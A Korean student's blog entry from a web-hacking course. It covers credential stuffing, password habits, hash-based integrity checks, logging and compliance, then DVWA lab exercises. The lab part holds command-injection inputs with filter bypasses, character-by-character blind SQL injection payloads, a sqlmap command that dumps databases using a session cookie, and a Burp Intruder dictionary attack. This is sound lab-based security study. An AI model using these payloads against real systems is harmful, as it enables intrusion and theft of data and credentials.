공부/Application Security

9월13일 웹해킹 6

마준123 2022. 9. 13. 09:35

* 오늘의 일정

 - OWASP top 10 오전중 마무리

 - DVWA 실습

 

* Credential Stuffing

 - 여러군데 회원가입을 하다보니, ID/PW가 동일함

 - 약한 사이트의 사이트를 해킹(Web shell, RAT업로드, WebDAV업로드, SQL인젝션 등)해서 고객DB확보--->ID/PW

 - 다른 사이트에 넣어봄 (홈X러스, 항공마일리지, 금융권, 포털, SNS 등)

 - 2021년 통계에 의하면 가장 심각한 해킹 유형

 - 대응 방법 : 사이트마다 패스워드를 조금씩 다르게 해야 함

                      EX) 카톡이 털리면 지인들에게 돈 빌려달라는 메시지 보냄 ----> 피싱으로 연결

  정기적으로 비밀번호를 교체

  EX)스마트폰에 패스워드가 저장되어 있어서 로그인이 되어있는 상태 ---->편리함 ( 보안의 적 )

  * 기본생각 : 해킹은 이미 당했다 --->어디를 해킹당했는지를 찾는 것

                     개인정보는 이미 다 털렸다 --->어떻게 수습할 것인가?

 

 * 게임사이트 , SNS계정 ----->이메일로 본인 확인하는 절차 ---> 이메일이 털리면? 본인 확인을 공격자가 함

 

 * 계정이 털리게 된 원인

 - 취약한 본인 확인 절차 ( 크리덴셜 스터핑 등 )

 - 쉬운 패스워드

 - 패스워드 변경 시도 ( SQL인젝션 등 )

 

 * 특히, 포털사이트의 PW는 다른 것으로 사용

 금융권은 PW를 다른 것 (강력한) 으로 사용

 한글로 생각을 하고 영타로 입력하는 방식 --->일부러 맞춤법에 맞지 않게 ( 외국사람이 예상하기 어려운 )

     ex) ㅁ,ㄴ,ㅇ,ㄹ,ㅎ, 은 쉬프트(쌍자음) 이 없음 --->눌러서 사용 등

 

*무결성(integrity) <---반대말---> 변조( 내용을 바꾸는 것 )

 원문 : " 12시에 만나요 브라보콘 "

 변조 : " 2시에 만나요 브라보콘 " (1자 한개 삭제했는데 약속 시간이 달라져서 계약을 망치거나 함)

 

 cf) 계약서에 이상한 내용이 들어있으면?? 다 뒤집어 씀..

   --------> 나한테 메일로 보냈던 파일과 지금 그들이 출력해온 계약서가 같을까? ( 사기꾼이면 다름 ) : 해시값으로 확인

       *해시값의 특징 : 원문이 1bit라도 달라지면 다른 해시값이 나옴 ---> 변조되었는지를 알 수 있음

 

------------------------------------------------------------------------------------------------------------------------------------------------

 

A09 로깅과 모니터링

 

 ex) 게임회사 서버 : 한 회사에 800대 + 클라우드에 5000대 -----> 6000대에서 나오는 로그의 양 엄청남

 ex) 쇼핑몰 서버 : 수백대 ~ 수천대 트래픽 양도 엄청나게 많음 -----> 확인???

 ----->로그를 보는 비용도 상당함

 ex) 24시간 교대근무 : 주/야/비/비 --->최소 5명 이상

        6시간  : 6~12 , 12~18, 18~24. 00~06

    --->취업이 쉽고, 실전 경험을 쌓을 수 있음

 

*컴플라이언스(compliance) : 법과 규제

 컴플라이언스를 지키는 비용 : 컨설팅  비용, 아웃소싱 비용, 구입비, 인증심사 비용, 예상치 못한 비용 등등

 컴플라이언스를 지키는 비용 < 컴플라이언스를 지키지 않았을때의 비용 ( 벌금, 과태료, 집단민사소송, 해커들의 돈 요구, 기업 이미지 손상 )

               ex) 인X파크 해킹사건 ( 2016 ) --------------> 44억 8,000만원의 과징금과 2,500만원의 과태료를 부과

 

실습) DVWA 문제 풀기

 * Command Injection

 - 리눅스 명령어를 실행시키는 것이 목적 ( 리눅스 명령어 : pwd, ls, ls -al, whoami, who, w, ps -ef, cat /etc/passwd 등등)

 - 목적 : Ping을 실행하는 사이트에서 어떻게 하면 리눅스 명령어를 실행할 수 있을까?

 

방법은 여러가지가 있지만 나는 세미콜론을 이용해서 두개의 명령을 실행시켰다

 

192.168.0.2 ; whoami 입력

 

192.168.0.2 ; whoami 입력

www-data 라는 이름을 쓰고있나보다

 

강사님의 해설!

 

실습 ) 

 자 이제 Medium 으로 가보자!

 

뷰소스

뷰 소스를 보니까 &&와 ; 를 공백으로 치환시키는 무언가가 걸려있는 것 같다.

 

역시 Medium으로 넘어오니까 난이도가 올라간다

 

강사님이 여러가지 방법이 있다고 하셨는데

 

나는 | 버티컬바를 사용했다.

 

그런데 이건 좋은 파훼법은 아닌거같긴하다 ㅋㅋ , 뭐를 막아놨는지 알기가 쉽지않을거고 버티컬바도 막아버리면 끝이니까

 

지난번에 SQL인젝션에서 했던것처럼 문자를 코드로 치환시켜서 하는것도 생각해봤는데

지금보니 코드가 &와;로 이루어져 있어서 꽝이다 ㅋㅋㅋㅋ

 

강사님 해설

당황스럽게도 내가 푼 방법이 맞았당.

 

밑에 & 3개 쓰는방법도 참고.

 

그런데 어차피 &&는 치환되니까 &하나만 사용하면 될거같다.

 

추가해설

버티컬바 2개 || 를 이용하는 방법!

 

실습 )

 High로 고고

하이의 뷰소스

하이는 걍 개빡센데 강사님이 절대 못할거라고 해봤지만 일단 츄라이

 

결국 못풀었다~ㅋ

강사님 해설, 사실 <script>치환은 여기에 해당하는 해설은 아닌거같다, 지금은 대상이 여러글자가 아니기 때문
드래그 한 부분 주목

(그런데 이런식이면 그냥 숨은 그림 찾기나 다를게 없지 않나?... , 다른문제의 난이도 변화와는 사뭇 다른거같다...)

사실상 치환방법의 단점을 알려주는 사례일뿐 파훼방법의 난이도는 올라가지 않은거같다.

 

----------------------------------------------------------------------------------------------------------------------------------------------

 

Command injection 강사님 설명

 

실습 ) 

 SQL 인젝션 ( 블라인드 )

지난번 SQL 인젝션과 다르게 어떠한 숫자를 넣으면 DB에 그 Id가 있는지 없는지만 알려준다.

 

 substring() : 단어의 알파벳에 대한 정보를 확인할 수 있음

 information_schema.columns ( DB명.테이블명 ) 에서 table_schema ( DB이름을 저장한 컬럼 )

 

실습 설명
desc columns;
select table_ schema from columns;&nbsp; &nbsp;// 인데 중복이 너무많다
distinct 를 넣어서 중복을 제거 한 모습,

(사실 잘 이해못함)

 

우선 실습을 따라해보자

a부터 계속 넣어보는것

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'a' #

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'a' #

a를 넣었을때 모습

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'd' #

d를 넣었을때 모습

 

사실 난 db명이 DVWA인걸 아니까 바로 D를 넣었지만 원래 일일이 대입 해봐야한다

 

 *  두번째 글자를 알아내는법?

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'a' #

 

* 세번째 글자를 알아내는법?

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'a' #

 

* 네번째 글자를 알아내는법?

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 4,1) = 'a' #

 

*한꺼번에 물어보려면?

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,4) = 'dvwa' #

 

 ----------------> dvwa 라는 DB명을 알 수 있음!

 

아마 사람이 직접 하기는 힘들거같고 매크로를 돌리는 방식으로 할 것 같다.

 

참고

 

-------------------------------------------------------------------------------------------------------------

* 테이블의 이름 알아내기

----------------->> guestbook     //방명록 말고 우리가 찾는것은 고객 정보가 들어있는 테이블!!

 

0,1과 1,1의 의미 시각화?..

 

 

 * 새로운 문제

1' and substring( (select column_name from information_schema.columns where table_name='users' limit 5,1),1,1) = 'l'; #

 

 * 자동화된 도구를 사용 ( 사람이 일일이 물어보기 귀찮음....)

 

---------------------------------------------------------------------------------------------------------------------------------------------------------------

 

실습준비 ) 

 - 칼리 리눅스 on

 - 로그인 : kali/kali

 - 터미널 열고,

$ sudo sqlmap -h    

그림 잘그렸다

 

설명
설명 2

URL : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#

쿠키값 : 6hoho5u4a8dfm7a4r8fl60ssv7

 

sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=6hoho5u4a8dfm7a4r8fl60ssv7" --dbs

 

넣었더니 나왔다

3개의 DB 이름을 알아내었다.

 

2단계

 

 

3단계 완

 

중간에 나오는 질문 몇가지들/ [y/n] 질문은 다 대문자인거 조지면된다. 중간에 file with 뭐시기는 1 (근데 왜?..)
지린다..

Hashs.com 에 갈 필요도 없이 해시값을 다 번역해준다;

 

---------------------------------------------------------------------------------------------------------------------------------------------------------------

 

 * Brute Force Attack

 - Brute ( 무식한, 야수의, 머리를 사용하지 않고 힘만 이용하는 )

 - 전수 대입법 : 가능한 모든 경우의 수를 대입한다는 의미

   ex) 숫자 4자리 : 0000~9999, 알파벳 4자리 : AAAA~zzzz

 - 장점 : 언젠가는 결과가 나오기는 함 ( 성공확률 99%)

 - 단점 : 시간이 너무 오래걸림

 - 대응방법 : 시간이 완전히 오래걸리게 하면 됨 ( 에를 들어, 인간의 수명보다 길면 못깨는 것 )

 

*Dictionary Attack

 - Brute Forec Attack이 시간이 너무 많이 걸리기 때문에, 자주 사용하는 패스워드를 대입하는 방법

 - 자주 사용하는 단어를 모아놓은 파일을 Dictionary 라고 함

 

실습준비 )

 - Burp Suite 를 켜고

 - 인터넷 옵션에 들어가서 proxy 설정합니다.

 

프록시 관련된건 랜 선정 때문에 티스토리가 끊어져서 필기가 힘들다 ..

 

 

글이 있는 부분을 우클릭 하고 샌드 투 인트루더

 

블락 돼 있는곳을 드래그하고 옆에 클리어 누르기
클리어 한 모습
심플리스트 - 로드 -password.txt 파일 - 스타트 어택 - OK

 

 

Length 의 길이를 보고 맞추는거다

강사님은 길이가 다른게 하나 나왔는데 나는 아무리 존버해도 안나온다...

 

너무 오래걸려서 강사님꺼 결과 쌔비지블로우

+ 끝나고 다시 해보니까 떳다 ㅋㅋ

비밀번호는 letmein~

'공부 > Application Security' 카테고리의 다른 글

9월14일 웹해킹 7  (0) 2022.09.14
9월 8일 웹해킹 5  (0) 2022.09.08
9월7일 웹해킹 4  (0) 2022.09.07
9월6일 웹해킹 3  (0) 2022.09.06
9월 5일 웹해킹 2  (0) 2022.09.05